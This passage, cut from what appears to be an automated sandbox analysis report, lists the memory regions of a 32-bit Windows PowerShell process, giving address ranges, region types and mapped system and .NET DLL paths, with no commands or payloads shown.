"\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1487 start_va = 0x753d0000 end_va = 0x753e8fff monitored = 0 entry_point = 0x753d4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1488 start_va = 0x75710000 end_va = 0x757fffff monitored = 0 entry_point = 0x75720569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1489 start_va = 0x74b90000 end_va = 0x74beffff monitored = 0 entry_point = 0x74baa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1490 start_va = 0x74b80000 end_va = 0x74b8bfff monitored = 0 entry_point = 0x74b810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1491 start_va = 0x72360000 end_va = 0x72373fff monitored = 0 entry_point = 0x72361da9 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 1492 start_va = 0x75b00000 end_va = 0x75bfffff monitored = 0 entry_point = 0x75b1b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1493 start_va = 0x74e80000 end_va = 0x74f0ffff monitored = 0 entry_point = 0x74e96343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1494 start_va = 0x77010000 end_va = 0x77019fff monitored = 0 entry_point = 0x770136a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1495 start_va = 0x74bf0000 end_va = 0x74c8cfff monitored = 0 entry_point = 0x74c23fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1496 start_va = 0x75270000 end_va = 0x753cbfff monitored = 0 entry_point = 0x752bba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1497 start_va = 0x758a0000 end_va = 0x7592efff monitored = 0 entry_point = 0x758a3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1498 start_va = 0x74a20000 end_va = 0x74a69fff monitored = 1 entry_point = 0x74a22e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 1499 start_va = 0x190000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 1500 start_va = 0x130000 end_va = 0x14dfff monitored = 0 entry_point = 0x14158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1501 start_va = 0x3f0000 end_va = 0x577fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 1542 start_va = 0x130000 end_va = 0x14dfff monitored = 0 entry_point = 0x14158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1544 start_va = 0x75c40000 end_va = 0x75c9ffff monitored = 0 entry_point = 0x75c5158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1545 start_va = 0x751a0000 end_va = 0x7526bfff monitored = 0 entry_point = 0x751a168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1546 start_va = 0x580000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 1547 start_va = 0xae0000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ae0000" filename = "" Region: id = 1548 start_va = 0x30000 end_va = 0x32fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 1554 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1555 start_va = 0x130000 end_va = 0x130fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 1556 start_va = 0x710000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 1557 start_va = 0x820000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 1562 start_va = 0x74990000 end_va = 0x74a1cfff monitored = 1 entry_point = 0x749a2860 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 1563 start_va = 0x72bf0000 end_va = 0x72bf2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1564 start_va = 0x74c90000 end_va = 0x74ce6fff monitored = 0 entry_point = 0x74ca9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1565 start_va = 0x73b80000 end_va = 0x73b88fff monitored = 0 entry_point = 0x73b81220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1566 start_va = 0x712b0000 end_va = 0x71a5efff monitored = 1 entry_point = 0x712cd0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 1567 start_va = 0x712b0000 end_va = 0x71a5efff monitored = 1 entry_point = 0x712cd0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 1581 start_va = 0x712b0000 end_va = 0x71a5efff monitored = 1 entry_point = 0x712cd0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 1582 start_va = 0x74970000 end_va = 0x74983fff monitored = 0 entry_point = 0x7497ac00 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\SysWOW64\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140_clr0400.dll") Region: id = 1583 start_va = 0x723c0000 end_va = 0x7246afff monitored = 0 entry_point = 0x72455f20 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\SysWOW64\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase_clr0400.dll") Region: id = 1593 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 1594 start_va = 0x190000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1595 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1596 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1597 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1598 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1599 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1600 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1601 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1602 start_va = 0x2f0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 1603 start_va = 0x290000 end_va = 0x290fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 1604 start_va = 0x820000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 1605 start_va = 0xa10000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1606 start_va = 0x820000 end_va = 0x96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 1607 start_va = 0x970000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 1608 start_va = 0x8b0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 1609 start_va = 0x930000 end_va = 0x96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 1610 start_va = 0x9d0000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 1611 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1612 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 1613 start_va = 0x1ee0000 end_va = 0x3edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 1645 start_va = 0x2a0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 1646 start_va = 0x7d0000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 1647 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1648 start_va = 0x3f60000 end_va = 0x3f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f60000" filename = "" Region: id = 1649 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1662 start_va = 0x730000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 1663 start_va = 0x3fb0000 end_va = 0x3feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fb0000" filename = "" Region: id = 1664 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 1671 start_va = 0x3ff0000 end_va = 0x42befff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1674 start_va = 0x6fea0000 end_va = 0x712aafff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll") Region: id = 1677 start_va = 0x2c0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1681 start_va = 0x770000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 1684 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1687 start_va = 0x6f440000 end_va = 0x6fe94fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\2c3c912ea8f058f9d04c4650128feb3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\2c3c912ea8f058f9d04c4650128feb3f\\system.ni.dll") Region: id = 1689 start_va = 0x6ddb0000 end_va = 0x6e5c7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\31fae3290fad30c31c98651462d22724\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\31fae3290fad30c31c98651462d22724\\system.core.ni.dll") Region: id = 1696 start_va = 0x71c10000 end_va = 0x71c9efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pb378ec07#\\731848746c032af3ce33577b793c9b9c\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pb378ec07#\\731848746c032af3ce33577b793c9b9c\\microsoft.powershell.consolehost.ni.dll") Region: id = 1697 start_va = 0x73950000 end_va = 0x73966fff monitored = 0 entry_point = 0x73953573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1704 start_va = 0x820000 end_va = 0x85bfff monitored = 0 entry_point = 0x82128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1705 start_va = 0x820000 end_va = 0x85bfff monitored = 0 entry_point = 0x82128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1706 start_va = 0x820000 end_va = 0x85bfff monitored = 0 entry_point = 0x82128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1707 start_va = 0x820000 end_va = 0x85bfff monitored = 0 entry_point = 0x82128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1708 start_va = 0x820000 end_va = 0x85bfff monitored = 0 entry_point = 0x82128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1715 start_va = 0x73910000 end_va = 0x7394afff monitored = 0 entry_point = 0x7391128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1717 start_va = 0x6bb40000 end_va = 0x6d622fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Manaa57fc8cc#\\a68aa6199c81feadf8c95a4ea0254b2c\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.manaa57fc8cc#\\a68aa6199c81feadf8c95a4ea0254b2c\\system.management.automation.ni.dll") Region: id = 1722 start_va = 0x820000 end_va = 0x881fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 1730 start_va = 0x3f10000 end_va = 0x3f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f10000" filename = "" Region: id = 1731 start_va = 0x43d0000 end_va = 0x440ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043d0000" filename = "" Region: id = 1732 start_va = 0x4480000 end_va = 0x44bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004480000" filename = "" Region: id = 1733 start_va = 0x44d0000 end_va = 0x450ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044d0000" filename = "" Region: id = 1734 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1735 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 1745 start_va = 0x723a0000 end_va = 0x723b2fff monitored = 1 entry_point = 0x723ad900 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 1746 start_va = 0x4510000 end_va = 0x47e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 1755 start_va = 0x6b430000 end_va = 0x6bb3bfff monitored = 1 entry_point = 0x6ba4f392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1756 start_va = 0x6b430000 end_va = 0x6bb3bfff monitored = 1 entry_point = 0x6ba4f392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1757 start_va = 0x42c0000 end_va = 0x437ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 1762 start_va = 0x6b430000 end_va = 0x6bb3bfff monitored = 1 entry_point = 0x6ba4f392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1763 start_va = 0x6ad20000 end_va = 0x6b42bfff monitored = 1 entry_point = 0x6b33f392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1768 start_va = 0x75800000 end_va = 0x75804fff monitored = 0 entry_point = 0x75801438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 1771 start_va = 0x75ff0000 end_va = 0x76c39fff monitored = 0 entry_point = 0x76071601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1772 start_va = 0x2e0000 end_va = 0x2e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002e0000" filename = "" Region: id = 1779 start_va = 0x74f10000 end_va = 0x74f3efff monitored = 0 entry_point = 0x74f12a35 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 1780 start_va = 0x74fc0000 end_va = 0x750e0fff monitored = 0 entry_point = 0x74fc158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1781 start_va = 0x75810000 end_va = 0x7581bfff monitored = 0 entry_point = 0x7581238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1784 start_va = 0x710000 end_va = 0x717fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 1785 start_va = 0x4800000 end_va = 0x483ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004800000" filename = "" Region: id = 1786 start_va = 0x4940000 end_va = 0x497ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004940000" filename = "" Region: id = 1787 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 1793 start_va = 0x72350000 end_va = 0x72357fff monitored = 0 entry_point = 0x72353bf5 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\SysWOW64\\msisip.dll" (normalized: "c:\\windows\\syswow64\\msisip.dll") Region: id = 1802 start_va = 0x8f0000 end_va = 0x92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 1803 start_va = 0x4a10000 end_va = 0x4a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a10000" filename = "" Region: id = 1804 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 1805 start_va = 0x4a50000 end_va = 0x4e4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004a50000" filename = "" Region: id = 1806 start_va = 0x720000 end_va = 0x727fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 1807 start_va = 0x4a50000 end_va = 0x4e4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004a50000" filename = "" Region: id = 1817 start_va = 0x4410000 end_va = 0x444ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004410000" filename = "" Region: id = 1818 start_va = 0x4860000 end_va = 0x489ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004860000" filename = "" Region: id = 1819 start_va = 0x71bf0000 end_va = 0x71c05fff monitored = 0 entry_point = 0x71bf13df region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\SysWOW64\\wshext.dll" (normalized: "c:\\windows\\syswow64\\wshext.dll") Region: id = 1820 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 1832 start_va = 0x71e30000 end_va = 0x71eb3fff monitored = 0 entry_point = 0x71e319a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 1833 start_va = 0x4a50000 end_va = 0x4c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a50000" filename = "" Region: id = 1834 start_va = 0x71be0000 end_va = 0x71be9fff monitored = 0 entry_point = 0x71be4ab0 region_type = mapped_file name = "pwrshsip.dll" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\pwrshsip.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\pwrshsip.dll") Region: id = 1835 start_va = 0x4a50000 end_va = 0x4b4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a50000" filename = "" Region: id = 1836 start_va = 0x4c10000 end_va = 0x4c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c10000" filename = "" Region: id = 1850 start_va = 0x48c0000 end_va = 0x48fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048c0000" filename = "" Region: id = 1851 start_va = 0x4c40000 end_va = 0x4c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c40000" filename = "" Region: id = 1852 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 1856 start_va = 0x4450000 end_va = 0x448ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004450000" filename = "" Region: id = 1857 start_va = 0x49a0000 end_va = 0x49dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049a0000" filename = "" Region: id = 1858 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1864 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 1866 start_va = 0x720000 end_va = 0x720fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1867 start_va = 0x770000 end_va = 0x776fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1868 start_va = 0x780000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 1869 start_va = 0x720000 end_va = 0x720fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1870 start_va = 0x770000 end_va = 0x776fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1871 start_va = 0x720000 end_va = 0x720fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1872 start_va = 0x720000 end_va = 0x726fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 